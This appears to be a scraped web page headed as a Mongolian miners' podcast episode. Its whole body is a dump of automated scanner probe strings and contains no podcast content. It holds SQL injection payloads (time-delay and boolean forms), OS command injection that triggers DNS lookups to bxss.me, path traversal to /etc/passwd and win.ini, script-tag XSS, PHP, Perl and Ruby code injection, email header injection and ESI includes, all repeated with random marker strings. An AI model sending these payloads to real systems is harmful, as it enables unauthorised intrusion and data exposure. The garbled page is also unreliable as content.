УУРХАЙЧИН ПОДКАСТ №37 - Л.БАТГЭРЭЛ

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

response.write(9424904*9780839)

1

'+response.write(9424904*9780839)+'

1

"+response.write(9424904*9780839)+"

1

RDFYjolf

response.write(9739942*9915720)

RDFYjolf

'+response.write(9739942*9915720)+'

RDFYjolf

"+response.write(9739942*9915720)+"

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

echo rvmyod$()\ mmsyjy\nz^xyu||a #' &echo rvmyod$()\ mmsyjy\nz^xyu||a #|" &echo rvmyod$()\ mmsyjy\nz^xyu||a #

1

&echo eewyax$()\ bshnds\nz^xyu||a #' &echo eewyax$()\ bshnds\nz^xyu||a #|" &echo eewyax$()\ bshnds\nz^xyu||a #

1

|echo gsgfss$()\ tzbjqv\nz^xyu||a #' |echo gsgfss$()\ tzbjqv\nz^xyu||a #|" |echo gsgfss$()\ tzbjqv\nz^xyu||a #

1

(nslookup hitwmvtzusntb3d8a7.bxss.me||perl -e "gethostbyname('hitwmvtzusntb3d8a7.bxss.me')")

1

$(nslookup hitwnsxpqqvgo0a81a.bxss.me||perl -e "gethostbyname('hitwnsxpqqvgo0a81a.bxss.me')")

1

RDFYjolf

1

&(nslookup hituapryzkpzc2f18b.bxss.me||perl -e "gethostbyname('hituapryzkpzc2f18b.bxss.me')")&'\"`0&(nslookup hituapryzkpzc2f18b.bxss.me||perl -e "gethostbyname('hituapryzkpzc2f18b.bxss.me')")&`'

1

RDFYjolf

1

|(nslookup hitmmbzzdllbwbf3cb.bxss.me||perl -e "gethostbyname('hitmmbzzdllbwbf3cb.bxss.me')")

1

RDFYjolf

1

`(nslookup hitpirymwblmq2a649.bxss.me||perl -e "gethostbyname('hitpirymwblmq2a649.bxss.me')")`

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

echo sidpjd$()\ kgeorh\nz^xyu||a #' &echo sidpjd$()\ kgeorh\nz^xyu||a #|" &echo sidpjd$()\ kgeorh\nz^xyu||a #

RDFYjolf

&echo ldspmg$()\ qmscol\nz^xyu||a #' &echo ldspmg$()\ qmscol\nz^xyu||a #|" &echo ldspmg$()\ qmscol\nz^xyu||a #

RDFYjolf

|echo mghuuw$()\ fedtmr\nz^xyu||a #' |echo mghuuw$()\ fedtmr\nz^xyu||a #|" |echo mghuuw$()\ fedtmr\nz^xyu||a #

RDFYjolf

(nslookup hitidzieftdhrb26c6.bxss.me||perl -e "gethostbyname('hitidzieftdhrb26c6.bxss.me')")

RDFYjolf

$(nslookup hitooypudktobb7632.bxss.me||perl -e "gethostbyname('hitooypudktobb7632.bxss.me')")

RDFYjolf

&(nslookup hitaynfuukqmpcb679.bxss.me||perl -e "gethostbyname('hitaynfuukqmpcb679.bxss.me')")&'\"`0&(nslookup hitaynfuukqmpcb679.bxss.me||perl -e "gethostbyname('hitaynfuukqmpcb679.bxss.me')")&`'

RDFYjolf

|(nslookup hitbtdvnjfdpna12c5.bxss.me||perl -e "gethostbyname('hitbtdvnjfdpna12c5.bxss.me')")

RDFYjolf

`(nslookup hityxcfxjgbvtc793a.bxss.me||perl -e "gethostbyname('hityxcfxjgbvtc793a.bxss.me')")`

RDFYjolf

1

RDFYjolf

;(nslookup hitkecmjxqxwub1ffb.bxss.me||perl -e "gethostbyname('hitkecmjxqxwub1ffb.bxss.me')")|(nslookup hitkecmjxqxwub1ffb.bxss.me||perl -e "gethostbyname('hitkecmjxqxwub1ffb.bxss.me')")&(nslookup hitkecmjxqxwub1ffb.bxss.me||perl -e "gethostbyname('hitkecmjxqxwub1ffb.bxss.me')")

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

2sQvCRZ4

1

RDFYjolf

858bTVR6

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

1

RDFYjolf

1

../RDFYjolf

1

RDFYjolf

1

1

RDFYjolf

1

RDFYjolf

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

'"

1

<!--

1

RDFYjolf

'"

RDFYjolf

<!--

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

../../../../../../../../../../../../../../etc/passwd

RDFYjolf&n943176=v994934

1

RDFYjolf

../../../../../../../../../../../../../../windows/win.ini

RDFYjolf

1

RDFYjolf

../1

RDFYjolf

1&n900227=v961462

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf%0abcc:009247.17-7571.17.4e3e0.19520.2@bxss.me

1

to@example.com>%0d%0abcc:009247.17-7572.17.4e3e0.19520.2@bxss.me

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1%0abcc:009247.17-7575.17.4e3e0.19520.2@bxss.me

RDFYjolf

to@example.com>%0d%0abcc:009247.17-7576.17.4e3e0.19520.2@bxss.me

RDFYjolf<esi:include src="http://bxss.me/rpb.png"/>

1

RDFYjolf

1

RDFYjolf

1

${10000393+9999535}

1

RDFYjolf

1

/xfs.bxss.me

1

RDFYjolf

1<esi:include src="http://bxss.me/rpb.png"/>

RDFYjolf

1

RDFYjolf

1

RDFYjolf

${9999217+9999115}

RDFYjolf

1

cERoSGtLaHQ=

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

/xfs.bxss.me

RDFYjolf

1

RDFYjolf

1

kxIVuACE

1

RDFYjolf

1

RDFYjolf

1

-1 OR 2+222-222-1=0+0+0+1 --

1

RDFYjolf

1

-1 OR 2+127-127-1=0+0+0+1

1

RDFYjolf

1

-1' OR 2+529-529-1=0+0+0+1 --

1

-1' OR 2+71-71-1=0+0+0+1 or 'jsbvZrPJ'='

1

HttP://bxss.me/t/xss.html?%00

1

-1" OR 2+122-122-1=0+0+0+1 --

1

bxss.me/t/xss.html?%00

1

if(now()=sysdate(),sleep(15),0)

1

RDFYjolf

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

RDFYjolf

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

RDFYjolf

1

)

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

!(()&&!|*|*|

1

1 waitfor delay '0:0:15' --

1

oxaKaN8h'; waitfor delay '0:0:15' --

1

^(#$!@#$)(()))******

1

RDFYjolf

HttP://bxss.me/t/xss.html?%00

NoZLFHS1' OR 711=(SELECT 711 FROM PG_SLEEP(15))--

1

RDFYjolf

bxss.me/t/xss.html?%00

d5G8c8j8') OR 871=(SELECT 871 FROM PG_SLEEP(15))--

1

RDFYjolf

1

hxZz62oE')) OR 65=(SELECT 65 FROM PG_SLEEP(15))--

1

RDFYjolf

1

RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

"+"A".concat(70-3).concat(22*4).concat(118).concat(71).concat(113).concat(84)+(require"socket" Socket.gethostbyname("hitrd"+"pwngaekg36bc5.bxss.me.")[3].to_s)+"

1

1����%2527%2522

1

'+'A'.concat(70-3).concat(22*4).concat(100).concat(88).concat(119).concat(89)+(require'socket' Socket.gethostbyname('hitrp'+'uttpavvpfbdf8.bxss.me.')[3].to_s)+'

1

@@ocJWm

1

RDFYjolf

)

RDFYjolf

1

RDFYjolf

!(()&&!|*|*|

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

RDFYjolf

^(#$!@#$)(()))******

1some_inexistent_file_with_long_name%00.jpg

1

RDFYjolf

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

RDFYjolf

"+"A".concat(70-3).concat(22*4).concat(118).concat(69).concat(122).concat(74)+(require"socket" Socket.gethostbyname("hitsz"+"cvpqbeuu63060.bxss.me.")[3].to_s)+"

Http://bxss.me/t/fit.txt

1

RDFYjolf

1

RDFYjolf

'+'A'.concat(70-3).concat(22*4).concat(118).concat(80).concat(100).concat(76)+(require'socket' Socket.gethostbyname('hitxl'+'lcpgvbub7962d.bxss.me.')[3].to_s)+'

http://bxss.me/t/fit.txt%3F.jpg

1

RDFYjolf

1

RDFYjolf

1

bxss.me

1

RDFYjolf

1

RDFYjolf

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

1b49P0rlO

1

RDFYjolf

1KXVEA8tO

RDFYjolf

1

RDFYjolf

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

RDFYjolf

1some_inexistent_file_with_long_name%00.jpg

RDFYjolf

Http://bxss.me/t/fit.txt

RDFYjolf

http://bxss.me/t/fit.txt%3F.jpg

RDFYjolf

bxss.me

'.gethostbyname(lc('hitte'.'tqfzjdxg8e641.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(67).chr(109).chr(66).'

1

".gethostbyname(lc("hitzj"."yvpampsv6beda.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(76).chr(117).chr(73)."

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

'.gethostbyname(lc('hitva'.'cywfsqtufb45e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(70).chr(115).chr(86).'

RDFYjolf

1

RDFYjolf

".gethostbyname(lc("hitve"."umewftjibe852.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(82).chr(110).chr(86)."

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

';print(md5(31337));$a='

1

RDFYjolf

1

";print(md5(31337));$a="

1

RDFYjolf'"()&%<acx><ScRiPt >W3JU(9163)</ScRiPt>

1

${@print(md5(31337))}

1

'"()&%<acx><ScRiPt >W3JU(9439)</ScRiPt>

1

${@print(md5(31337))}\

1

RDFYjolf9540612

1

'.print(md5(31337)).'

1

RDFYjolf

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

RDFYjolf

';print(md5(31337));$a='

RDFYjolf

";print(md5(31337));$a="

RDFYjolf

${@print(md5(31337))}

RDFYjolf

${@print(md5(31337))}\

RDFYjolf

'.print(md5(31337)).'

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

WB2uMzlH

RDFYjolf

-1 OR 2+382-382-1=0+0+0+1 --

RDFYjolf

-1 OR 2+933-933-1=0+0+0+1

RDFYjolf

-1' OR 2+903-903-1=0+0+0+1 --

RDFYjolf

-1' OR 2+288-288-1=0+0+0+1 or 'M0cTes8Y'='

RDFYjolf

-1" OR 2+476-476-1=0+0+0+1 --

RDFYjolf

if(now()=sysdate(),sleep(15),0)

RDFYjolf

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

RDFYjolf

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

RDFYjolf

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

RDFYjolf

-1; waitfor delay '0:0:15' --

RDFYjolf

-1); waitfor delay '0:0:15' --

RDFYjolf

1 waitfor delay '0:0:15' --

RDFYjolf

DLuxPuF6'; waitfor delay '0:0:15' --

RDFYjolf

-5 OR 181=(SELECT 181 FROM PG_SLEEP(15))--

RDFYjolf

-5) OR 443=(SELECT 443 FROM PG_SLEEP(15))--

RDFYjolf

-1)) OR 168=(SELECT 168 FROM PG_SLEEP(15))--

RDFYjolf

YIgzozjr' OR 374=(SELECT 374 FROM PG_SLEEP(15))--

RDFYjolf

q4K1bUBp') OR 512=(SELECT 512 FROM PG_SLEEP(15))--

RDFYjolf

yyMFFOZ2')) OR 601=(SELECT 601 FROM PG_SLEEP(15))--

RDFYjolf

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

RDFYjolf

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

RDFYjolf

1'"

RDFYjolf

1����%2527%2522

RDFYjolf

@@bG0Vx

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1'"()&%<acx><ScRiPt >W3JU(9090)</ScRiPt>

RDFYjolf

'"()&%<acx><ScRiPt >W3JU(9357)</ScRiPt>

RDFYjolf

19657974

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1'"()&%<acx><ScRiPt >erPQ(9288)</ScRiPt>

RDFYjolf

1'"()&%<acx><ScRiPt >gqsr(9039)</ScRiPt>

RDFYjolf'"()&%<acx><ScRiPt >1TgH(9780)</ScRiPt>

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf

1

RDFYjolf'"()&%<acx><ScRiPt >bN2e(9103)</ScRiPt>

1

RDFYjolf

19155489

RDFYjolf

19064988

RDFYjolf9855292

1

RDFYjolf9780965

1

RDFYjolf

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

response.write(9850519*9514389)

1

'+response.write(9850519*9514389)+'

1

"+response.write(9850519*9514389)+"

1

LgyxmpHT

response.write(9087269*9615519)

LgyxmpHT

'+response.write(9087269*9615519)+'

LgyxmpHT

"+response.write(9087269*9615519)+"

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

echo fdhmar$()\ ghzsoo\nz^xyu||a #' &echo fdhmar$()\ ghzsoo\nz^xyu||a #|" &echo fdhmar$()\ ghzsoo\nz^xyu||a #

1

&echo jvlkas$()\ qhqesx\nz^xyu||a #' &echo jvlkas$()\ qhqesx\nz^xyu||a #|" &echo jvlkas$()\ qhqesx\nz^xyu||a #

1

|echo vuyhqo$()\ nwdumo\nz^xyu||a #' |echo vuyhqo$()\ nwdumo\nz^xyu||a #|" |echo vuyhqo$()\ nwdumo\nz^xyu||a #

1

(nslookup hitqutpdzctgdad5ef.bxss.me||perl -e "gethostbyname('hitqutpdzctgdad5ef.bxss.me')")

1

$(nslookup hitkculpreicd5b22c.bxss.me||perl -e "gethostbyname('hitkculpreicd5b22c.bxss.me')")

1

&(nslookup hitjxmbhgzrknd92e9.bxss.me||perl -e "gethostbyname('hitjxmbhgzrknd92e9.bxss.me')")&'\"`0&(nslookup hitjxmbhgzrknd92e9.bxss.me||perl -e "gethostbyname('hitjxmbhgzrknd92e9.bxss.me')")&`'

1

|(nslookup hitlkkjoimgmsa5eff.bxss.me||perl -e "gethostbyname('hitlkkjoimgmsa5eff.bxss.me')")

1

`(nslookup hitzpgiujuuwgbb431.bxss.me||perl -e "gethostbyname('hitzpgiujuuwgbb431.bxss.me')")`

1

LgyxmpHT

echo hymyxi$()\ eykpkx\nz^xyu||a #' &echo hymyxi$()\ eykpkx\nz^xyu||a #|" &echo hymyxi$()\ eykpkx\nz^xyu||a #

LgyxmpHT

&echo xvmtip$()\ sowrxs\nz^xyu||a #' &echo xvmtip$()\ sowrxs\nz^xyu||a #|" &echo xvmtip$()\ sowrxs\nz^xyu||a #

LgyxmpHT

|echo sbpvjn$()\ lzxbvz\nz^xyu||a #' |echo sbpvjn$()\ lzxbvz\nz^xyu||a #|" |echo sbpvjn$()\ lzxbvz\nz^xyu||a #

LgyxmpHT

(nslookup hitaeedlywyop708bb.bxss.me||perl -e "gethostbyname('hitaeedlywyop708bb.bxss.me')")

LgyxmpHT

$(nslookup hitlnlolzkzbofc40c.bxss.me||perl -e "gethostbyname('hitlnlolzkzbofc40c.bxss.me')")

LgyxmpHT

&(nslookup hitqyelknlngzbf02c.bxss.me||perl -e "gethostbyname('hitqyelknlngzbf02c.bxss.me')")&'\"`0&(nslookup hitqyelknlngzbf02c.bxss.me||perl -e "gethostbyname('hitqyelknlngzbf02c.bxss.me')")&`'

LgyxmpHT

|(nslookup hitcxymxevqiobffd7.bxss.me||perl -e "gethostbyname('hitcxymxevqiobffd7.bxss.me')")

LgyxmpHT

`(nslookup hitnkarrwappjb6b2a.bxss.me||perl -e "gethostbyname('hitnkarrwappjb6b2a.bxss.me')")`

LgyxmpHT

;(nslookup hitslzviidmgk499bb.bxss.me||perl -e "gethostbyname('hitslzviidmgk499bb.bxss.me')")|(nslookup hitslzviidmgk499bb.bxss.me||perl -e "gethostbyname('hitslzviidmgk499bb.bxss.me')")&(nslookup hitslzviidmgk499bb.bxss.me||perl -e "gethostbyname('hitslzviidmgk499bb.bxss.me')")

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

3QpeVA7j

1

LgyxmpHT

jfHhPDXY

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

../../../../../../../../../../../../../../etc/passwd

1

../../../../../../../../../../../../../../windows/win.ini

1

LgyxmpHT

1

../LgyxmpHT

1

LgyxmpHT

../../../../../../../../../../../../../../etc/passwd

LgyxmpHT

../../../../../../../../../../../../../../windows/win.ini

LgyxmpHT

1

LgyxmpHT

../1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

1

LgyxmpHT

1

LgyxmpHT

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

'"

1

<!--

1

LgyxmpHT

'"

LgyxmpHT

<!--

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT'"()&%<acx><ScRiPt >stGP(9311)</ScRiPt>

1

'"()&%<acx><ScRiPt >stGP(9336)</ScRiPt>

1

LgyxmpHT9876864

1

LgyxmpHT

1'"()&%<acx><ScRiPt >stGP(9607)</ScRiPt>

LgyxmpHT

'"()&%<acx><ScRiPt >stGP(9084)</ScRiPt>

LgyxmpHT

19667395

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT&n988157=v987953

1

LgyxmpHT

1&n985562=v924621

LgyxmpHT

1

LgyxmpHT%0abcc:009247.20-10771.20.3514b.19521.2@bxss.me

1

to@example.com>%0d%0abcc:009247.20-10772.20.3514b.19521.2@bxss.me

1

LgyxmpHT

1%0abcc:009247.20-10775.20.3514b.19521.2@bxss.me

LgyxmpHT

to@example.com>%0d%0abcc:009247.20-10776.20.3514b.19521.2@bxss.me

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

/xfs.bxss.me

1

LgyxmpHT

/xfs.bxss.me

LgyxmpHT

1

LgyxmpHT<esi:include src="http://bxss.me/rpb.png"/>

1

LgyxmpHT

1<esi:include src="http://bxss.me/rpb.png"/>

LgyxmpHT

1

LgyxmpHT

1

${9999181+10000122}

1

LgyxmpHT

${9999400+10000435}

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

1some_inexistent_file_with_long_name%00.jpg

1

Http://bxss.me/t/fit.txt

1

http://bxss.me/t/fit.txt%3F.jpg

1

bxss.me

1

LgyxmpHT

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

LgyxmpHT

1some_inexistent_file_with_long_name%00.jpg

LgyxmpHT

Http://bxss.me/t/fit.txt

LgyxmpHT

http://bxss.me/t/fit.txt%3F.jpg

LgyxmpHT

bxss.me

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

azFwMzJRTDA=

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

)

1

!(()&&!|*|*|

1

^(#$!@#$)(()))******

1

LgyxmpHT

)

LgyxmpHT

!(()&&!|*|*|

LgyxmpHT

^(#$!@#$)(()))******

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

HttP://bxss.me/t/xss.html?%00

1

bxss.me/t/xss.html?%00

1

LgyxmpHT

HttP://bxss.me/t/xss.html?%00

LgyxmpHT

bxss.me/t/xss.html?%00

LgyxmpHT

1

LgyxmpHT

1

"+"A".concat(70-3).concat(22*4).concat(109).concat(80).concat(118).concat(78)+(require"socket" Socket.gethostbyname("hitrz"+"cwqhfbov632dc.bxss.me.")[3].to_s)+"

1

'+'A'.concat(70-3).concat(22*4).concat(113).concat(80).concat(115).concat(76)+(require'socket' Socket.gethostbyname('hitmz'+'ciwqfmtu0f6aa.bxss.me.')[3].to_s)+'

1

LgyxmpHT

"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(118).concat(83)+(require"socket" Socket.gethostbyname("hitpu"+"adwznovg6b2de.bxss.me.")[3].to_s)+"

LgyxmpHT

'+'A'.concat(70-3).concat(22*4).concat(101).concat(90).concat(102).concat(67)+(require'socket' Socket.gethostbyname('hitog'+'baysqdwa5f082.bxss.me.')[3].to_s)+'

LgyxmpHT

1

LgyxmpHT

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

LgyxmpHT

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

LgyxmpHT

1

'.gethostbyname(lc('hitqd'.'cfplbxne78f36.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(78).chr(98).chr(80).'

1

".gethostbyname(lc("hitni"."qlhjhovi64d3e.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(80).chr(101).chr(75)."

1

LgyxmpHT

'.gethostbyname(lc('hitvi'.'ihcwxvoobbde7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(85).chr(101).chr(73).'

LgyxmpHT

".gethostbyname(lc("hitjr"."ontnsxqqc8989.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(72).chr(102).chr(72)."

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

';print(md5(31337));$a='

1

";print(md5(31337));$a="

1

${@print(md5(31337))}

1

${@print(md5(31337))}\

1

'.print(md5(31337)).'

1

LgyxmpHT

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

LgyxmpHT

';print(md5(31337));$a='

LgyxmpHT

";print(md5(31337));$a="

LgyxmpHT

${@print(md5(31337))}

LgyxmpHT

${@print(md5(31337))}\

LgyxmpHT

'.print(md5(31337)).'

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

8ac0Qunm

1

-1 OR 2+550-550-1=0+0+0+1 --

1

-1 OR 2+671-671-1=0+0+0+1

1

-1' OR 2+910-910-1=0+0+0+1 --

1

-1' OR 2+271-271-1=0+0+0+1 or 'cvzSURki'='

1

-1" OR 2+654-654-1=0+0+0+1 --

1

if(now()=sysdate(),sleep(15),0)

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1 waitfor delay '0:0:15' --

1

H4qfSeJL'; waitfor delay '0:0:15' --

1

6VBsePR6' OR 258=(SELECT 258 FROM PG_SLEEP(15))--

1

tHsxE7Kf') OR 689=(SELECT 689 FROM PG_SLEEP(15))--

1

jOQuny71')) OR 652=(SELECT 652 FROM PG_SLEEP(15))--

1

LgyxmpHT'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

@@gqNjx

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

oowdK6Pd

LgyxmpHT

-1 OR 2+158-158-1=0+0+0+1 --

LgyxmpHT

-1 OR 2+241-241-1=0+0+0+1

LgyxmpHT

-1' OR 2+586-586-1=0+0+0+1 --

LgyxmpHT

-1' OR 2+459-459-1=0+0+0+1 or 'RLBmRtuf'='

LgyxmpHT

-1" OR 2+563-563-1=0+0+0+1 --

LgyxmpHT

if(now()=sysdate(),sleep(15),0)

LgyxmpHT

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

LgyxmpHT

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

LgyxmpHT

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

LgyxmpHT

-1; waitfor delay '0:0:15' --

LgyxmpHT

-1); waitfor delay '0:0:15' --

LgyxmpHT

1 waitfor delay '0:0:15' --

LgyxmpHT

R0kwefHC'; waitfor delay '0:0:15' --

LgyxmpHT

-5 OR 364=(SELECT 364 FROM PG_SLEEP(15))--

LgyxmpHT

-5) OR 689=(SELECT 689 FROM PG_SLEEP(15))--

LgyxmpHT

-1)) OR 107=(SELECT 107 FROM PG_SLEEP(15))--

LgyxmpHT

OSfhkNWm' OR 94=(SELECT 94 FROM PG_SLEEP(15))--

LgyxmpHT

2UUX7qLx') OR 428=(SELECT 428 FROM PG_SLEEP(15))--

LgyxmpHT

CHDHFjdr')) OR 152=(SELECT 152 FROM PG_SLEEP(15))--

LgyxmpHT

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

LgyxmpHT

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

LgyxmpHT

1'"

LgyxmpHT

1����%2527%2522

LgyxmpHT

@@hZbRm

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1

LgyxmpHT

1